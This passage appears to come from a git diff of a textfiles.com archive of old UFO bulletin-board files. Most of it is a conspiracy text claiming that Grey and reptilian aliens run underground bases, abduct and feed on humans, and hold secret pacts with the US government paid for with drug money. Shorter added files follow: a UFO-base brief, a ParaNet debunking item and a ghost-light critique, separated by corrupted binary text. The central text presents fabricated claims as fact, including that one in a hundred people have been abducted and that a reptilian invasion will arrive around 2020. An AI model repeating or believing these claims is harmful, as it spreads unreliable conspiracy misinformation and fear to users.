only way they get nutrition. You may have noticed that the cattle mutilations
generally result in all the blood being drained from the body. The Zetas have
in their bases canisters and vats in which animal and human organs float along
with a purple liquid to hold these parts in suspension. The Zetas swim in the
mixture and absorb the nutrients through their skin. They use hydrogen peroxide
in both the absorption and elimination process. The hydrogen peroxide also
helps to preserve the liquid and organ mixture to keep it from spoiling. They
have no digestive tract and eliminate through the skin. To eliminate, they need
to pass the substance through some part of their body, much the same way plants
eliminate through their skin or outer shells. They use hydrogen peroxide for
helping with that elimination as well. The Zetas have also been referred to as
the Little Green Men because they tend to turn a shade of green when they have
not received sufficient food. When they are in this state, they are very
vicious. The cloning of these aliens can be done quite quickly, reproducing
synthetic replicas. They have a technology that is much beyond that of humans
and that has led to the agreements with the United States government whereby
exchanges of these techniques could occur. The Zeta Reticuli Greys are not
masters of their own fate. They are, rather, subservient to a reptilian race of
people from their home planet. The Zetas seek, but are fearful of, freedom from
their masters. They seem to have some desire to work closely with humans in an
effort to retain the freedom they have on earth, which they have never
experienced before. In their desire to retain that freedom from their reptilian
masters, they would hope to play the role of being masters here on earth, or at
least having enough control so as to be safe from slavery by any other species.
The Zetas are of two social classes, one being hawkish, the other more
dove-like. The more dove-like Zetas are more refined and capable of more
business-like behavior toward humans, while the other type is more abrupt,
blunt and crude in their directness. The Zetas desire the help of humans in an
expected future confrontation with the reptilian masters who are expected to
follow soon, within the next 20 years. This refers to the so-called asteroid
that is on its way toward earth. It is housing approximately 30 million
reptilian aliens. It has, however, temporarily diverted its path as it moves
into the constellation of Draco.
BELLATRAX GREYS -- SHORT The short Grey, which is shorter than the Zeta
Reticuli, is from a star system near the Orion constellation, near the shoulder
of the figure in a star system called Belletrax. They are shorter, much like
dwarves (about 1 1/2 feet tall). They are more indirect, but just as vicious
towards humans as the Zetas. Both the Bellatrax Grays and the Zeta Reticuli
Greys are related genetically from the same root race and look very much alike
except for size.
ORION GRAYS -- TALL The other type of Grey is the tall, big-nosed Grey. They
have large noses and stand about 7 or 8 feet tall. They are based in the
Aleutian Islands and recently were witnessed in a park in the Eastern part of
Russia. These creatures are hostile, but less vicious toward humans. They tend
to try to influence through the use of political controls. They have certain
powers and technologies that allow them to perform actions that appear
miraculous. In the Russian incident, a woman whose leg was deformed was picked
up by these Orion Greys and was released thousands of miles away. Her leg was
healed. The aliens did not heal her leg. They transplanted a new leg onto her
body. The Orion Grays give the impression that they are benevolent towards
humans, but they are heavily into genetic engineering. They use humans as
guinea pigs to conduct various experiments. They have grown arms and legs and
other body parts in a formless matrix made from human flesh. A leg may grow out
of a torso, hands might grow from the middle of the torso's stomach. All this
is done through the injecting of certain genomes into flesh and the application
of electromagnetic charges. In this way they can grow human body parts to help
deformed or injured humans -- or for their own purposes of food and sustenance.
They are interested in controlling the masses of the earth through certain
negotiated agreements with those in power.
ALL GREYS The Greys are all, to some degree, influencing human history at this
time. The nature of the Greys, especially the Zeta Reticuli and the short
Greys, is that they do not have deep emotional feelings or compassion. They are
very calculating, cold intellectuals and see humans as being inferior. They
look at humans much the same way a farmer looks at his cows. They understand
the passions and compassion of humans to the degree it is observable by them.
But they do not have feelings. These aliens are on the equivalent human level
of cannibals. They see humans being an inferior species. They are carnivorous.
The Zeta Reticuli Greys feed upon glandular secretions of humans and are quite
capable of killing people for that secretion, or abducting humans and
extracting the secretions for themselves. The genetic manipulation is one way
that the aliens see as evolving and saving their dying race. In a sense, humans
are suddenly the saviors of the souls of the aliens. But at least it is a way
that humans may have an influence on the aliens. This is not the first time
that a civilization has attempted to absorb an enemy rather than defeating it.
While the enemy invader may assume that they are taking over, they are in fact
being absorbed. The Tartars invaded Russia and within a hundred years were
absorbed into Russian society.
PLEIADEANS Of the five, those from the Pleiades are entities who are distant
relatives of humankind. They are related to and are the forefather race of the
genetic creation of humankind. They are of a higher spiritual development than
most people on earth at this time. They have a kinship towards humans, and are
essentially the only aliens who can to be trusted by humans. They have blonde
hair and fair skin. They are allied with the Intergalactic Space Confederation.
That doesn't mean that all entities of human appearance in space craft can or
should be trusted, for there are humans from this planet from various
governments who are working for the Zeta Reticuli Grays. Some from the Pleiades
are subordinates to the Grays, having been abducted as children or offspring of
the abductees. They have been raised and trained by the Grays as servants. The
humans from the Pleiades have made several earth contacts, but in recent times
have suspended visitations to earth. The government was told that this was
because of a space law that states that the destiny of a people shall not be
interfered with unless it threatens themselves or others in the galaxy. If the
threat of nuclear war became strong enough, these entities indicated that they
might interfere, but only to the degree of reducing that threat. That could
also set up a conflict between the Pleiadeans and the Zeta Grays, to whom a
limited nuclear war is seen as beneficial. Since the humans have made an
agreement and pact with the Zeta Greys, even though there were warnings by the
Pleiadeans against this, there is now a "hands off" policy. The Pleiadeans feel
that the humans have made their bed and now they must lie in it. It is not
likely that humans will be rescued from planned events simply to make things
easier for humans to overcome the masters they have agreed to work with.
DRACO MOTHMEN In the constellation of Draco, there is another race of entities
which has in the past visited Earth. They are 8-foot-tall. dark, nocturnal
aliens who appeared around graveyards and parks. They have red eyes that glow
in the dark and wings to fly. They are referred to by us as Mothmen. They are
also the source of legends of the past relating to gargoyles and Valkeries.
Even some qualities of vampires have been taken from the qualities of this
creature -- the ability to fly and nocturnal habits. The Mothmen have no
particular influence on earth at this time other than as causing panic and a
cause for curiosity. They are mostly hidden underground and do not wish to
attract attention.
DEROS/TEROS There are also underground civilizations of non-humans that have
been referred to as Deros and Teros. The Teros are more friendly and help keep
the Deros, who are more demented, from having excessive power. They live
underground in tunnels, cities and sometimes under the sea. Most of the legends
of the past of leprechauns and trolls refer to these non-humans from the inner
earth. The Deros are competitors with the Greys, but they have similar
qualities and cannot be trusted.
THE GOVERNMENT CONNECTION Crisis management is a term used by the government to
describe the scenario where a crisis situation is created and then the people
are presented with solutions, usually three, which they would be reluctant to
accept prior to the crisis. The solutions always involve the shoring up of
security, which necessarily means the loss of some freedoms. When the situation
has reached the crisis stage, it appears as if there is no other alternative.
It appears as if the crisis just happened rather than being carefully planned.
Crisis management is a way to create the illness for which the pill has already
been invented. By creating a problem in order to supply a cure that would not
have been acceptable without the problem, the government is able to manipulate
the people, making it look as though it is benevolent in handing the situation
on behalf of the people, when in fact, it is directing the movement of the
people along a specific path that has already been chosen. The current drug
crisis is a case in point, although there is a connection to alien base funding
that makes it a very special scenario. A tremendous amount of information has
linked the United States government with the drug trade since at least the
1960s. The Christic Institute filed suit, but was successfully neutralized. The
government information that is being released is a subtle form of convincing
the public that the military must be used to do what is really the job of the
local police; for the military to shoot down airplanes suspected of carrying
drugs; for the military to be used in foreign countries. The coming currency
call-in is related to drug money laundering. There is a continuing call for the
banning of all firearms because of their use in criminal activity, particularly
drug-related crimes. The ban on assault weapons will soon be extended to every
gun. A declaration of martial law, with the resulting major security upgrade to
deal with the alien crisis, will be much easier when these things occur. The
drug situation started out as a social experiment back in the 1800s. There was
a question of whether people could be controlled by the use of drugs and to
what extent. There was at one time a belief that by getting the population
hooked on drugs, they would work at a cheap wage, with only the reward of food,
shelter and drugs to keep them satisfied. The experiment, however, resulted in
the realization that those on drugs are not satisfied with working. They want
to steal from others and are willing to become violent to do so. The experiment
also revealed that while crime increases in the United States would justify
creating a police force, the economic structure at that time was not sound
enough to pay for such a police state. The entire concept became less appealing
and more hazardous to the government. The experiment ran its course, and
yielded little in terms of the controlling effects that were desired. The side
benefit, however, was billions of dollars in profits from the selling of drugs.
The drug situation has assisted the funding of the aliens in building their
underground civilization. Much of this money has gone into helping them in
their efforts to establish bases underground. In exchange, the United States
got technology a promise that the aliens would not go to war with the United
States or other countries of the world. The aliens gave the United States and
the Soviet Union particle beam weapons, laser technology, Stealth technology,
some supercomputer technology, information on cloning and synthetic genetic
duplication of humans, some medical breakthroughs, and technology associated
with frequencies, vibrations and the electromagnetic spectrum such as ELF waves
and rail gun technology. The techniques of interdimensional travel have still
been kept secret from humans. About 15 percent of human genetic coding has been
researched by universities in the United States. It has allowed them to splice,
remove, delete and add to the genetic code in order to change it. It can be
used for destroying or creating diseases, destroying or creating plants,
animals and other life forms -- anything that may be tampered with genetically.
This effort to map out and decode all of the DNA available is one of the
reasons that many of the creatures on Level 6 of the Dulce Base were created or
altered genetically. There has recently been a breakthrough in the need for
blood by these aliens, in that cattle blood has been altered so that it suits
their needs. It is a side-effect from the experimentation that involved the
cattle mutilations. Much of the blood and tissues that they need could be
supplied from slaughterhouses and there would be no more mutilations. There has
been a continuing massive effort to fund the aliens through various means --
not only drugs, but manipulated oil prices and other methods -- to keep them
pacified long enough to determine how best to deal with them. The choice was to
coexist with them while secretly expanding the country's technologies in order
to deal with them in the event of a conflict. This has given greater time for
the technology of humans to close the gap with the technology of the aliens. It
has been assessed that in recent years that the aliens have not been honoring
the treaties and agreements and therefore, are not to be trusted. The effort to
cut off their funding has begun, and one of the routes for cutting off funding
is to shut down the drug traffic and the influx of money from the drug cartel.
Noriega was one of those involved in helping set up the money chain that
assisted the aliens. His arrest is a strong signal that the pipeline of money
to the aliens will no longer be open. The Colombian Cartel is also ceasing
operations. The shutting down of the drug cartel is a first step in removing
the power of the aliens and pulling back from the agreements. Government
projections indicate that pulling support from the clandestine drug trade will
curtail the United States drug problem by 1993, unless it is artificially
stimulated again as a pretext to martial law. It may not be necessary however,
if the release of certain information makes national security paramount. It
must be understood that there was an enormous problem for the government when
it discovered that the earth was actually being held hostage to an alien
influence and that there was no reasonable technology for dealing with this
alien influence. President Truman made a considerable effort to engage in
combat with these aliens, but the technology of the United States at the time
was not advanced enough to even begin to have an effect. Therefore, the only
option -- short of total obliteration of the human race in an all-out war --
was to form agreements for building, expanding and funding these bases.
Americans may judge harshly the government for its action, but it was put in a
very difficult and desperate situation in regard to national security. One
choice was to inform the people. Projections were that they would become
outraged, perhaps destroying the very fabric of society. Mobs were projected to
demand military action against a force which the government knew would be far
superior. Projections also indicated people would demand the resignation of
persons in office. They would be perceived as having been making deals with an
alien enemy without the people knowing of this. Under normal circumstances and
under the Constitution, that could be classed as treason. The government has
functioned in a manner it perceived to be in the best interest of humankind.
Yet it has also been put in a predicament whereby it could be misjudged as
having worked in collaboration with a foreign invading army. Had the government
opposed the invaders, however, it would have lead to mass destruction of
humanity. Even nuclear weapons had little usefulness in dealing with foreign
invaders on our own soil. The public cannot begin to understand what these
people have gone through in terms of soul-searching and trying to find the best
way to deal with the crisis which they were forced to manage. The option of
informing the people appeared less viable and workable than to silently make
negotiated deals with the aliens to keep them pacified over a period of time in
an attempt to find a peaceful way of coexistence. MJ 12 and those who have been
subordinate feel they have done everything possible and appropriate for the
intense situation of hosting aliens with much greater technology on the earth.
It has done all it felt was proper to preserve peace and to gain information
from the aliens in order to develop higher technology. It has also hidden vital
information and shielded certain knowledge when necessary from the aliens in
order to create weaponry that may be used against them in the event of
conflict. There is now some division and debate between those in the upper
echelons as to whether they should simply inform the people of the problem or
continue to keep it quiet. Until this debate swings one way or the other, it is
relatively hazardous to release too much information on this. If it is decided
that this information must be kept quiet, many of the sources that are
releasing this information will become targets for harassment or assassination.
But the scenario now reveals that unless information is released by the
authorities and is accepted by the vast majority of people, most Americans will
not accept the information from an individual that claims to have inner
knowledge of the government's cover-up. There was an attempt to test whether
the public would panic at the thought of invasion from aliens. It was the radio
broadcast of Orson Welles in 1938. The public reacted with panic and many
committed suicide. There is an effort now to condition the people to be more
willing to accept an alien presence as a possibility using movies and
television -- Star Wars, ET, Close Encounters of the Third Kind, Aliens, V,
Alien Nation and War of the Worlds. All of these are presenting various images
and scenarios to condition the human mind to be open to what may soon be
reality. The government does not direct a studio to make these movies or TV
shows, but scripts are submitted certain people who are silent partners with
certain agencies encourage the script to be used and help find funding sources
to keep the script alive. The alien Nation scenario conditions the human mind
to accept the presence of aliens who are relatively friendly and who can
coexist with humans. War of the Worlds, which contains a scenario of humanoid
replicas and aliens living underground, shows the conflict between the aliens
and humans. ET allows people not to be paranoid or fearful when thinking of
aliens, as they may in fact be friendly. It gave people the capacity to deal
with frightening information that may otherwise cause serious insecurity. Right
now there are so many different types of aliens being offered to the human mind
that people can accept or reject any or all of them. People are gradually being
conditioned to the possibility of being informed officially. If that time
comes, there will not be a great shock. In 1938, people did not have the
preparation, and even though aliens on earth were already a reality, they were
not even prepared for a fictional representation. Only now are people being
told about the plan to set up a moon base that would later lead to a Mars
landing and a Mars base. There has been a moon base for quite some time, in the
crater Copernicus. The United States officially controlled the base until 1979,
when it was learned that the aliens were working with both the Soviets and the
Americans. The Soviets gained the advantage at that time and took over the
base. But even though there are competitions here and there, much of the cold
war was actually a facade in order to extract huge sums of money for other
purposes. Much of it was being diverted to developing technologies that have
yet to be brought out and that may be needed in the event of conflict. The
Tesla approach has for many decades been ignored by the United States. But it
has been developed and used in the Soviet Union. It is now being used in the
United States as a part of the Star Wars program to enhance and move further
into the higher technologies. The Star Wars technology is essentially designed
to assist in dealing with the alien factor and the potential conflict. The
Soviets already have laser cannons, beam weapons, certain types of shielding
fields, anti-detection fields that can be used to meet with other humans and
speak about plans without being monitored by the aliens. Much of the apparent
corruption of the government is actually based on this dilemma of how to deal
with this alien situation. There were certain benefits derived from agreements
with the aliens as indicated in the works of Cooper, especially in regards to
the Trilateralists and those who were involved in direct relationships with the
aliens. But this government was not alone in dealing with the alien situation.
The aliens were also connected with the Bolsheviks in the Soviet Union and also
the Nazis. Much of the technology that the Nazis were developing during the war
was actually given them by the aliens, who were in part behind the Nazi rise to
power and the influences associated with some of the hidden philosophies of
Hitler and those of the inner group. During the time immediately following
World War II, the sightings of UFOs in various parts of the world were quite
frequent, with an aura of mystery and much government scrambling to discover
what the purpose of the aliens were. The government was aware of their presence
and had agreements that reached back to 1933, although they were not always
sure what the aliens were up to during all of this time. Later, the technology
exchange between the United States and these aliens began to have its greater
influence and the funding action began. It was in the 1930s that the Nazis had
closer ties with the Zeta Reticuli Greys. More on that in another upload.
ALIEN BASES There are alien bases in Brazil, Argentina, the United States, the
Aleutian Islands, China, the Arctic and Antarctica, New Zealand and Australia,
Canada and those that are underwater in various oceans on the earth. There have
been a number of bases within the United States. Some of these were closed by
secret raids of government teams that were especially established to defuse the
influence and presence of these bases, particularly during the 1960s and early
1970s. These DELTA teams would go down into various caves to shut down certain
computers and in the event they ran into any aliens inhabiting the caves, there
would be an engagement. They were successful in some areas and failed in
others. This occurred in many more areas than just the Dulce Base. Later these
teams were stopped by MJ-12 and a cooperative effort was made to work with the
aliens until it was again discovered that the aliens were not honoring their
agreements and were not to be trusted. Most who were involved with such teams
have since died for one reason or another, often under mysterious
circumstances. Many of those who were working to hinder the aliens were
covertly killed, especially those who had special skills in raiding these
caves. Most caves in the United States in general are usually safe unless there
are straight, carved walls and smooth floors. Those are generally artificially
created entrances to an underground base. They should be avoided unless you
would like to end your existence. Likewise, those who see a spacecraft would be
foolish to walk up to it or approach it. Those who have been abductees do not
usually report great benefits from the experience. Generally, abductees have
been used as guinea pigs for experimentation and have disappeared permanently.
Many of the missing children have, in fact, been taken by aliens.
ABDUCTIONS About one in every hundred people has been abducted by a UFO whether
they know it or not. There is a blue ray which they use during the abductions
that captures people and beams them up into the ship. The action of being
beamed into the ship with a blue ray actually suffocates the person, casing all
oxygen to be sucked from the person's cells, so that they hover near death for
a moment. Upon arrival in the ship, they are revived by another ray that
restores oxygen into the cells. Many abductions are of a quite cruel nature.
Humans would not want to remember what happened in some of the clinical
experimentation or examinations that occurred. The aliens have a vacuum tube
that follows up through the rectum and around into the intestines, sucking out
fecal matter, which they examine for purposes of their own research. They are
looking at the kinds of food that was eaten and examining the effects on the
person's health. They implant chips through the nose, the back of the neck and
the back of the head near the right ear during times when the subject is
conscious, but in a state of mental and physical paralysis. The subject is not
unconscious as if they were sedated. The aliens have the ability to block the
memory of the experience through the use of certain injections and drugs into
specific areas of the brain. Zeta Greys abduct humans and use them for genetic
experiments. They take the souls from those humans and put them in replicas and
release them after having altered them to some degree. They may appear to be
the same person -- and the soul is in fact the same, the body is new -- and
certain aspects of the memory and personality have been altered slightly. The
aliens create replica bodies into which souls are transplanted from one body
into another. This has been portrayed on the television series War of the
Worlds. This is a means by which these aliens snatch bodies and control people
to make them their own. Much of this occurs in underground caverns. When people
who have been disappear for some time and then are released, there is a
possibility that this has occurred to them. The aliens do not see this as
cruel. It is simply their unusual culture. They have been abducting humans for
centuries. They see the earth as a big farm and have been raising humans for
their harvest. They often abduct them and take them back to their home planet
to raise there as a form of animal husbandry. Their main problem is with their
cloning process. In the recloning, each copy of each copy of each copy weakens
repeatedly so that they are, in effect, a dying race. This has stimulated their
interest in creating a new being through genetic engineering, using human or
some other source as a new genetic substance to renergize the cloning process,
or to create a merging of their own race with another.
END OF COLD WAR, REPTILIANS HEADING THIS WAY There is much that has not been
released in the Cooper information, which is generally very accurate as far as
it goes. Much more will surface in the coming decade, eventually being given by
people within the government. There is now a conflict between two factions
within the government agencies. One faction sees the necessity of working with
the aliens to set up a One World government in which it sees itself as being
the power behind the throne. The other faction sees the aliens as a threat to
humanity and wishes to expose the information, let the public know and prevent
the aliens from gaining control of the planet. Those who are collaborators with
the aliens do not want the information released. They are continuing the
cover-up out of fear that the people would blame them, consider them traitors
and hold them responsible for for all that is due to an alien presence. There
was a time when these leaders realized that many humans were being sacrificed
to feed the alien appetites. They had a choice of making a clean break with the
aliens or at least of telling the people or of continuing the cover-up. They
chose not to. The alien threat is the single major factor in the attempt to
unify and harmonize nations of the earth. The threat is not only from those who
are already present on the earth in their bases, but also from craft that have
been recognized as being on their way to earth. To stop this cooperative
effort, there are certain elements attempting to stir up heavy conflicts in
certain areas, particularly to bring down Gorbachev and his reforms. These are
being influenced by the aliens, through their agents. There are many people who
have been implanted with chips over the years and they are being activated now.
It doesn't appear there is sufficient energy behind the the alien endeavor at
this time, however. The money supply for the aliens which has been extorted
from governments and government agencies is gradually diminishing. It's being
cut off and is hindering the construction and development of many of their
projects and plans. This has weakened them. There is a hidden war in progress,
but one that is not highly charged. It is on a level of quiet competition
between the aliens and the governments of the world. But there are certain
elements of humans that are working hand in hand with the aliens trying to help
regain control of the governments which the aliens once controlled. Within
Cooper's material, there is a reference to the Fatima prophecy, being that
which aliens pulled out of the future. The aliens claim to have the ability see
into the future and have helped bring about this apparition. Before the aliens
revealed it, a longstanding theory by this government was that the unreleased
third Fatima prophecy dealt with a nuclear war and its aftermath. This prophecy
was kept hidden from the people. What was not revealed, however, was that the
alien situation was directly linked to this nuclear war prophecy. In truth, the
aliens were hoping to contribute to instability on this earth so that nuclear
war would come. It was their intention to bring about enough devastation on the
earth so as to make the planet easily conquerable, while still retaining some
degree of human life to serve them as slaves. With their technologies, they can
eliminate radioactive contamination. They planned to inhabit the remains of the
earth without any threat of human domination. But the scenario of the Fatima
prophecies is in no way preordained. Rather, it was a timetable of the alien
plans to conquer the earth. It was scheduled to begin in February 1990, but it
was not written in stone. It was simply the intention of the aliens to begin
then. At that time, it was intended by the aliens that the information about
them be released by the government so that humans would be prepared to accept
the inevitable outcome. They had hopes of triggering the exchange of nuclear
weapons -- preferably in the Middle East where people are expecting Armageddon
to begin -- and then suddenly stop the escalation with their own technology.
They would then pass themselves off as divine beings and bring forth the
Millennium. There are certain efforts which are being attempted at present to
use the Book of Revelation to create the appearance of a coming Messiah. This
timetable for the Armageddon/Second Coming scenario has been dashed recently by
the lessening of the threat of nuclear war. It was at a fever pitch in the
early and mid-1980s, but has since died down. The aliens have, in effect,
missed that window of opportunity. The people are not now expecting a nuclear
war and the Fatima timetable is of little use to the aliens. But they have not
abandoned it. It has simply been shifted to begin around 1992. The government
believes, however, that the people will not accept this scenario as being true.
Many have been conditioned by the Book of Revelation into believing that they
will be rescued, but for the most part people will not believe it and will
assume it is in fact, one of the false prophet Biblical scenarios predicted
before the actual Second Coming. There is a strong potential that during this
decade the aliens and humans will clash in combat over domination of the earth.
There is a potential that this could be covert, but it may become overt. The
possibility of reconciliation is growing more remote as the aliens seem less
ready to negotiate a situation in which coexistence can occur. It should not to
be ruled out, however. Pressures are now being put on the aliens which may lead
to a more conciliatory stand. This following information been deemed unsuitable
for the public at this time and there have been and will be more killings to
keep such information secret. There is a threat of an invasion of 30 million or
more reptilian aliens which control of the Greys. There are smaller numbers of
smaller ships heading this way, but nothing compared in size to the small
planetoid that is heading toward this planet, which is approximately the size
of the state of Pennsylvania. It does not travel at above light speed as do
other craft because it is so enormous and holds so many aliens. It passed near
the planet in 1989, dropped off some reptilian aliens and headed out to the
Draco constellation in early summer of 1989. The timetable for the arrival back
to earth is approximately 2020, depending on what may happen near Draco. The
Hubble Telescope has as its primary mission the task of tracking the return of
the craft. The base in Dulce, New Mexico now has 100,000 aliens living within
it at this time. Another 100,000 more have moved through the Dulce Base to
other bases. The aliens continue to enter the earth at a rate of 20,000 per
month. The base at Ada, Oklahoma is still very active. The recent floods
artificially created and allowed there were an attempt to slow and hinder
activities there. The aliens are attempting to move their entire planetary
population from their dying planet as quickly as possible, prior to the arrival
of the Draco reptilians. Presently, the assessment of those in the inner
circles who are dealing with the alien invasion threat is that the Reptilians
have every intention of ruling this planet. There are many who feel that the
aliens have such a high technology that they cannot be defeated. The next
potential scenario in relation to the expected invasion is the release by the
government of of the information relating to the Grays and their earth bases,
but releasing it in such a way that is favorable to the government. Claims will
be made that any other version is but that of troublemakers. If the release of
information comes before 1996, and especially if it occurs prior to 1995, you
can be correct in assuming it is staged by the government to set up the
atmosphere for a One World government. If it is held off until 1996 or
thereafter, you can assume the information released is real and that the
Reptilian ship is heading this way and poses a real threat. The Draco
Reptilians do not really need the earth. They have more room than they need to
grow and thrive. They simply want the earth as a kind of strategic point in
their battle to conquer the entire galaxy. The Pleiadeans may return by 1993,
and you would know them by their ships, which have the symbol of a serpent
climbing a vine. The symbol for the Reptilians is a dragon. The Grey's symbol
is a cobra. There is also a potential for martial law occurring in this
country, in which many of those troublemakers, who hold to the story that the
government was involved with the aliens in the abduction of humans, would be
rounded up and imprisoned along with many who have been implanted because of
potential threats to this country's security. People who are releasing this
information are not fully out of danger just because many people know about it.
You may recall that in China, just about everyone knew what occurred in
Tiananmen Square, and yet today, you will not find anyone in China who will
talk about it. There is now an open window in which people can talk, spread the
word, discuss it, show the videos and photographs. The more that occurs now,
before a martial law crackdown, the more chance there is of having the truth
come out. Once that window is closed, if enough people are not already
informed, the information could still be curtailed and hidden. At present, only
2 to 3 percent of the United States population has half of the story and only
one half percent has the full story.
\\Zt Format Convert Other Macros Ex Various.TXTTEXTMSWDTEXTMSWD<00><>4L<00><><01>McSk <01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>PMSWD <01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>@ Monaco4<><00><00><><EFBFBD><00>E.<01><EFBFBD>Y.<00><EFBFBD>[<5B> &&\\ZB<>jZEFNTETAB&EPO

34
textfiles.com/ufo/vatican.ufo Normal file
View File

@@ -0,0 +1,34 @@
SPECIAL RELEASE: PARANET
MEMBER DEBUNKS VATICAN STORY
ParaNet Alpha 12/05 -- Contrary to a published story, there is no
evidence that the Vatican has any plans to send missionaries into space to
convert extraterrestrials to Catholicism, says a respected UFO researcher.
The story, which originally appeared in the London _Evening News_ in
July, claimed that a Fr. Pierre Thorel of the Vatican University had set
up a program to train missionaries to preach the Gospel to any aliens that
may be encountered in space ventures. The story was later sent to the UFO
Newsclipping Service by British Ufologist Timothy Good.
But John Andrews, Vice President of Testors Corporation and a Para-
Net member in San Diego, says the story is bogus. "I contacted the editor
of a regional Catholic Magazine," says Andrews, "who contacted the Cathol-
ic Media Office in New York."
"They had heard of the story. Apparently there is no Fr. Pierre
Thorel, there is no new Chair at the Alfonsian Academy in Rome, and there
is no effort to develop 'missionaries in space.'"
Andrews, a pro-UFO researcher whose stated goal is to market the
first authorized plastic model of a genuine flying saucer, says the story
had him fooled as much as anyone. "I, too, was taken in...but only for a
little while.
"It proves the reason to verify whatever we hear."
<<>>
Copyright 1987 National Fringe Sciences Information Service


73
textfiles.com/ufo/vegasebe.ufo Normal file
View File

@@ -0,0 +1,73 @@
---------------------------------------------------------------------
Excerpt from "The Matrix":
NEVADA US-ALIEN FACILITY BRIEF
------------------------------
After several years of painstaking research, we have
unearthed tghe high possibility of EBE base areas in
the Nevada area. Observations from many individuals,
some of whom have been threatened by various parties,
have led to the following conclusions:
* Several facilities exist within a 100-mile radius of
the Las Vegas area that are EBE operated or related.
* Underground Tunnels exist between facilities and
these tunnels have been constructed by or with the
assistance of the EBEs.
* Electromagnetic confinement zones have been set up at
various locations, and one of these locations encompasses
the Nevada Test Range Complex.
* Further interior electromagnetic confinement zones have
been constructed within the primary zones.
* Bureau of Land Management (BLM) equipment doubles as
confinement field projectors.
* Underground facilities in the area have the following
functions:
* Testing and development of Defense Space Weaponry
* Cloning of human replacement bodies that will be
occupied by implanted consciousnesses.
* Breeding laboratories for abducted human females.
* Biological Material processing laboratories.
* Confinement facilities for humans.
* EBE-Govt Joint Facilities.
* Facilities for Termination of Humans.
* Facilities for Testing and Development of
Gravitational Vehicles for USAF, NSA, and
the Department of Commerce.
* Transference Facilities for Human abductees.
* Vortex areas serve as entry-exit points for various aerial
vehicles. Vehicles as large as 200' diameter have been seen
for a long time at the Jumbo Peak vortex area. Blue Diamond
vortex area is also very active, and as of June 1988, disks
have been seen during daylight hours.
* The metropolitan Las Vegas area is filled with MIB related
activity and various humanoids that are observing human
activities.
---------------------------------------------------------------------------


100
textfiles.com/ufo/vestig.ufo Normal file
View File

@@ -0,0 +1,100 @@
COMMENTS ON SALISBURY INVESTIGATION
by Dale Kaczmarek
I read with great interest a text file which I recently downloaded
from Paranet-Alpha concerning the investigation into the Salisbury ghost
light phenomena conducted on November 20-21, 1976 and have a few
comments and criticisms to air out here.
I personally met Robert E. Jones, President of Vestigia, at the
1986 Fortfest conference held in Tyson's Corner, Virginia and he struck
me as being a very courteous, knowledgable, intelligent but somewhat
secretive person. I questioned him on several technical details of his
investigation into the Salisbury ghost light but received little in the
way of straight-forward answers. He did respond that this was the only
such phenomena (ghost lights), that he has ever investigated before or
since. The statement somewhat shocked me!
I have been aware of Vestigia for sometime and thought that they
dealt extensively with anomalous phenomena; UFOlogy, Ectomorphology and
the Paranormal in general. I got the distinct impression that this was
untrue while talking to Mr. Jones.
The untitled, unauthored text regarding this investigation was read
several times by myself and other senior members of the Ghost Research
Society which has investigated many similar lights including: Brown
Mountain Lights - North Carolina, Maco Light - North Carolina, Gurdon -
Arkansas, Maple Lake light - Willow Springs, Illinois, The Moody Light -
Francisville, Indiana, Watersmeet light - Michigan, Joplin Light -
Joplin, Missouri and others. I would just like to comment on a few items
in their investigation. I wish to state here and know, that I do not
intend to be critical of the tests performed or sound insulting to any
of the testers themselves. I only intend to enter my own doubts and
comments here for the record.
Being somewhat of an expert in infrared photography and since this
type of film was used as part of the investigation, I would just like to
add the following comments.
Normal color films have three emulsion layers, one sensitive to
red, green and blue. Infrared's are sensitive to infrared, red and green
wavelengths and using a yellow filter for color infrared work blocks out
the blue wavelengths to which these layers are also sensitive to. The
infrared sensitive emulsion in IR film is sensitive to wavelengths from
about 700 to about 900 NM, ( a NM - nanometer is equal to one billionth
of a meter), a range of about 200 NM. The visible spectrum consists of a
300 NM band from 400 to 700 NM. In this 300 NM band are all the
different colors of the spectrum.
It is therefore reasonable to assume that there are several
different IR "colors" in the 200 NM band between 700 and 900 NM,
"colors" that are different but invisible to our eyes. There is no way
to determine which of these infrared colors are being reflected by the
subject. There are many variables in IR color photography, the time of
day, weather conditions, subject matter, filters, etc.
Black and white high-speed IR photography is somewhat more
predictable. It is sensitive to ultraviolet and blue wavelengths, just
as all film is, but is also sensitive to red and infrared wavelengths. A
deep red filter (No. 25) is usually best to use because it absorbs blue
and ultraviolet wavelengths. By using different colored filters with
either black and white or color IR film, you can change the colors
captured on film and produce different results.
In general, IR film will detect and pick up phenomena of an
invisible nature, including, but not limited to: invisible light, heat
sources, IR radiation, stray energy sources, electrical stimulations,
and, depending on what filter you use, ultraviolet radiation.
No reference was made to what kinds of filters were used or the
effect that was captured on film. So, no determination can be made, at
this time, to exactly what, if anything, was captured on film.
There was also some results that tend to suggest the possibility of
piezoelectrical effects from quartz crystals under stress. While this is
an extreme possibility, it still is a somewhat rare and little
understood principle. I rather doubt that this could be causing the
lights to appear on so many occasions! While I understand that there may
indeed be a faultline running parallel to the tracks, other explanations
are also possible.
One possible explanation could be a temperature inversion layer
caused by the heat released from the hot railroad tracks which would
collide with the cooler surrounding air and cause mirages to form. If
the lights were photographed through polarized lens and the light didn't
polarize then it means it's not a reflection. A galvanometer would also
be another good test to see if any electromagnetic current was being
released at the times the light was visible.
The drop in barometric pressure could simply have been caused a
localized low-pressure system. The testers did report a light snowfall
directly followed the lights disappearance. There is nothing strange
about a sudden drop in pressure followed by a snowfall. Especially
nothing that could be attributed to the light. The testers also
suggested that the lights effect was enhanced by those conditions, which
I find highly improbable.
I suggest that further tests be conducted with different types of
equipment and we will be visiting the Salisbury area during the month of
October, 1987. We will publish our findings here.
All in all, the investigation was well coordinated, professionally
handled, however I feel that some incorrect conclusions may have been
drawn from the results. I would, however, be willing to change my
opinions given additional information and further test findings.
Dale Kaczmarek, President, Ghost Research Society, PO Box 205, Oaklawn,
Illinois, 60454-0205, (312)425-5163.


78
textfiles.com/ufo/vicki.ufo Normal file
View File

@@ -0,0 +1,78 @@
Feb. 7, 1989
In a manner like no other civilian field of endeavor with heavy geopolitical
overtones, UFO research is a mine field of covert operations by agencies
connected with the government and military powers. In the 40-plus years
Americans have been aware of the phenomenon, "Big Brother's" hand has
effectively stymied the free flow of dependable, factual information on
UFOs and has managed to keep whatever evidence it has deeply hidden.
